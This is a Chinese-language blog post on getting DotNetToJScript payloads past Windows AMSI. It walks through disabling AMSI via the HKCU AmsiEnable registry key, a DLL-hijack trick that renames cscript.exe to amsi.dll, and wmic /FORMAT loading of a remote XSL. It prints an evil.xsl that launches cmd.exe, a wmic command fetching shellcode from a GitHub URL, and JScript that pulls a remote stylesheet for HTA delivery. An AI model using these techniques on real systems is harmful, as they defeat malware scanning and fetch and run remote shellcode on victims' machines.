DotNetToJScript 复活之路
in 技术分享奇技淫巧 with 0 comment

DotNetToJScript 复活之路

in 技术分享奇技淫巧 with 0 comment

0x00 简介

去年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。再此工具发布以后,很多很多的工具也在此基础上产生,比如StarFightersCACTUSTORCHSharpShooter等等,基于脚本的攻击也随之越来越多,所以在win10中,微软引入了AMSI,并将基于DotNetToJScript的脚本特征加入到检测之列。并将此工具标记为恶意软件。如果直接运行通过DotNetToJScript生成的脚本,便会直接拦截,如下图
1530067126795.png
最近,学到了两种bypass的方式,所以进行一下分享。

0x01 禁用AMSI

这里讲的禁用AMSI并不需要高权限,只需要一个简单的Trick,这个是从这篇文章学来的,通过Process Monitor 进行查看,设置以下过滤器:
1530067444682.png
运行通过DotNetToJScript生成的脚本,可以监控到以下调用过程:
1530067501155.png
这里我们可以看到,在加载AMSI之前,查询了以下注册表键值HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable,尝试修改此键值为0:
1530067589819.png
再次运行脚本,可以看到shellcode成功执行了,如下图:
bypass
虽然修改注册表可以实现禁用AMSI,但是需要高权限,那怎样才可以在普通权限下禁用AMSI,其实通过@tiraniddo的文章我们可以看到,其实可以通过DLL劫持来进行绕过。通过Process Monitor可以看到检测过程中调用了C:\Windows\System32\amsi.dll,如果我们把cscript.exe 重命名成amsi.dll会怎么样呢?

copy c:\windows\system32\cscript.exe amsi.dll
amsi.dll evil.js

dllhijack

可以看到成功shellcode 成功执行了,修改过滤器如下:
1530068708904.png
我们来看一下调用过程
1530068764803.png
可以看到,现在已经没有调用C:\Windows\System32\amsi.dll,这也就让我们成功执行了我们的shellcode。

0x02 利用wmic

Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。经过测试,通过此方式来调用DotNetToJScript的脚本也是可以成功执行的。subTee的文章在这。利用命令如下:

#Local File
wmic process list /FORMAT:evil.xsl
#Remote File
wmic os get /FORMAT:"https://example.com/evil.xsl"

evil.xsl

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    ]]> </ms:script>
</stylesheet>

修改好的脚本,可以看这里:戳我
使用一下命令则可执行shellcode

wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"

但是使用wmic执行的时候会有一个问题,在powershell下执行会失败。如下图:
1530081940192.png

那么怎么调用呢?
在读了mdsec的这篇文章以后,我们发现,其实是可以通过COM来调用的。用javascript写可以这样:

var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
var xsl = xml;
xsl.load("http://host/a.xsl");
xml.transformNode(xsl);
self.close();

那这样我们就可以构造HTA来远程调用了。为了方便使用,我已经写好了一个aggressor脚本,地址:
GITHUB:

使用如下图:
demo

0x03参考

https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1
https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/

Responses